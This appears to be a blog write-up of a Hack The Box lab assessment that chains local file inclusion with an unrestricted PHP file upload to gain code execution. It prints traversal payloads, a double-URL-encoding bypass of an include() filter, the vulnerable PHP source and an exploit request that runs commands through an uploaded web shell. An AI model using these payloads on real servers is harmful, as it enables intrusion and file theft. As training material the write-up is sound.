November 25, 2026
HTB Skill Assessment: Chaining LFI and File Upload to Achieve RCE
1. Initial Reconnaissance

By Mahmoud Magdy
4 min read
1. Initial Reconnaissance
I started by manually exploring the application to understand its functionality and identify potential entry points.
I noticed that the website used several PHP files in its root directory, including:
index.phpthanks.phpcontact.phpapply.php
The application had limited functionality, so I focused on the forms, particularly the one in contact.php.
The form requested a name and email address and allowed users to upload their CV in PDF format. However, I discovered that it also accepted files with other extensions, including .php and .jpg.
2. Attack Surface Mapping
Since manual exploration did not reveal many interesting entry points, I started file and directory fuzzing using Feroxbuster to discover hidden endpoints and directories.
I identified the following:
Next, I used FFUF for parameter discovery, testing both GET and POST methods.
I discovered two interesting parameters:
thanks.php?n=medjay
The parameter reflected the name submitted through the contact form. I tested it for Reflected XSS and SSTI but found no exploitable behavior.
contact.php?region=
I did not initially understand its functionality, so I documented it for further investigation.
3. Discovering Local File Inclusion (LFI)
One endpoint caught my attention:
/api/image.php?p=<image-path>
The pparameter appeared to control which image was retrieved from the server.
I started testing for Path Traversal and LFI using standard ../ sequences, but they did not work.
After experimenting with different encoding techniques, I tried:
....%2F%2FThis payload successfully bypassed the application's path restrictions and allowed directory traversal and allowed me to reat /etc/passwd file.
I then used the vulnerable parameter to read local files, including PHP source code.
An important observation was that the endpoint returned PHP files as source code instead of executing them. Therefore, this vulnerability allowed file disclosure but did not directly provide RCE.
4. Source Code Analysis
Using the LFI vulnerability, I requested:
/api/application.php
This revealed the backend implementation of the file upload functionality:
<?php
$firstName = $_POST["firstName"];
$lastName = $_POST["lastName"];
$email = $_POST["email"];
$notes = (isset($_POST["notes"])) ? $_POST["notes"] : null;
$tmp_name = $_FILES["file"]["tmp_name"];
$file_name = $_FILES["file"]["name"];
$ext = end((explode(".", $file_name)));
$target_file = "../uploads/" . md5_file($tmp_name) . "." . $ext;
move_uploaded_file($tmp_name, $target_file);
header("Location: /thanks.php?n=" . urlencode($firstName));
?><?php
$firstName = $_POST["firstName"];
$lastName = $_POST["lastName"];
$email = $_POST["email"];
$notes = (isset($_POST["notes"])) ? $_POST["notes"] : null;
$tmp_name = $_FILES["file"]["tmp_name"];
$file_name = $_FILES["file"]["name"];
$ext = end((explode(".", $file_name)));
$target_file = "../uploads/" . md5_file($tmp_name) . "." . $ext;
move_uploaded_file($tmp_name, $target_file);
header("Location: /thanks.php?n=" . urlencode($firstName));
?>The code revealed three important details:
- Storage location: Uploaded files are stored in
/uploads/. - Filename generation:
md5_file()calculates the MD5 hash of the uploaded file's contents. - Extension handling: The original file extension is appended to the generated filename.
For example, a PHP file with the MD5 hash fc023fcacb27a7ad72d605c4e300b389 would be stored as:
/uploads/fc023fcacb27a7ad72d605c4e300b389.php
I now knew exactly where uploaded files were stored and how their filenames were generated.
5. Discovering the Second LFI Vulnerability
I then inspected contact.php through the same file disclosure vulnerability.
This revealed the implementation of the previously discovered region parameter:
<?php
$region = "AT";
$danger = false;
if (isset($_GET["region"])) {
if (str_contains($_GET["region"], ".") ||
str_contains($_GET["region"], "/")) {
echo "'region' parameter contains invalid character(s)";
$danger = true;
} else {
$region = urldecode($_GET["region"]);
}
}
if (!$danger) {
include "./regions/" . $region . ".php";
}
?><?php
$region = "AT";
$danger = false;
if (isset($_GET["region"])) {
if (str_contains($_GET["region"], ".") ||
str_contains($_GET["region"], "/")) {
echo "'region' parameter contains invalid character(s)";
$danger = true;
} else {
$region = urldecode($_GET["region"]);
}
}
if (!$danger) {
include "./regions/" . $region . ".php";
}
?>The vulnerability was caused by improper input validation and decoding.
The application checked for dots and slashes before calling urldecode().
Since PHP automatically URL-decodes GET parameters, the application effectively decoded the input twice.
This allowed me to bypass the validation using Double URL Encoding.
For example:
Supplied parameter:
%252E%252E%252Fuploads%252F<MD5_HASH>
After PHP's initial decoding:
%2E%2E%2Fuploads%2F<MD5_HASH>
The validation did not detect literal dots or slashes.
After the application's urldecode() call:
../uploads/<MD5_HASH>
The application then constructed the following path:
./regions/../uploads/<MD5_HASH>.php
Because the application used PHP's include() function, it could execute PHP code inside the uploaded file.
This provided the missing piece needed to chain the vulnerabilities To gain RCE.
6. Exploitation: LFI + File Upload = RCE
At this point, I had identified two vulnerabilities:
- Unrestricted File Upload: The application accepted PHP files and stored them in
/uploads/. - Local File Inclusion: The
regionparameter allowed directory traversal through a double URL encoding bypass and passed the resulting path toinclude().
I chained these vulnerabilities to achieve Remote Code Execution.
The exploitation process was:
- Upload a PHP web shell through the contact form.
- Calculate the MD5 hash of the uploaded file to determine its generated filename.
- Construct a double URL-encoded traversal payload targeting the uploaded PHP file.
- Pass a command through a separate GET parameter and trigger the vulnerable
include()statement. For example:
GET /contact.php?region=%252E%252E%252Fuploads%252Ffc023fcacb27a7ad72d605c4e300b389&cmd=ls%20/ HTTP/1.1
Host: TARGETGET /contact.php?region=%252E%252E%252Fuploads%252Ffc023fcacb27a7ad72d605c4e300b389&cmd=ls%20/ HTTP/1.1
Host: TARGETThe included PHP file could access the cmd parameter and execute the supplied system command.
I first executed:
ls /
Then I executed:
cat /flag.txt
The flag was successfully retrieved, confirming Remote Code Execution (RCE) on the target server.
Key Takeaways:
- Use content discovery and parameter fuzzing to expand the attack surface.
- Investigate file upload validation, storage locations, and filename generation.
- Source code disclosure can reveal additional vulnerabilities and expose application logic.
- Validate user input after proper canonicalization to prevent encoding-based bypasses.
- Pay special attention to PHP functions such as
include()andrequire()when they use user-controlled input. - Vulnerability chaining can turn seemingly low-impact issues into critical vulnerabilities.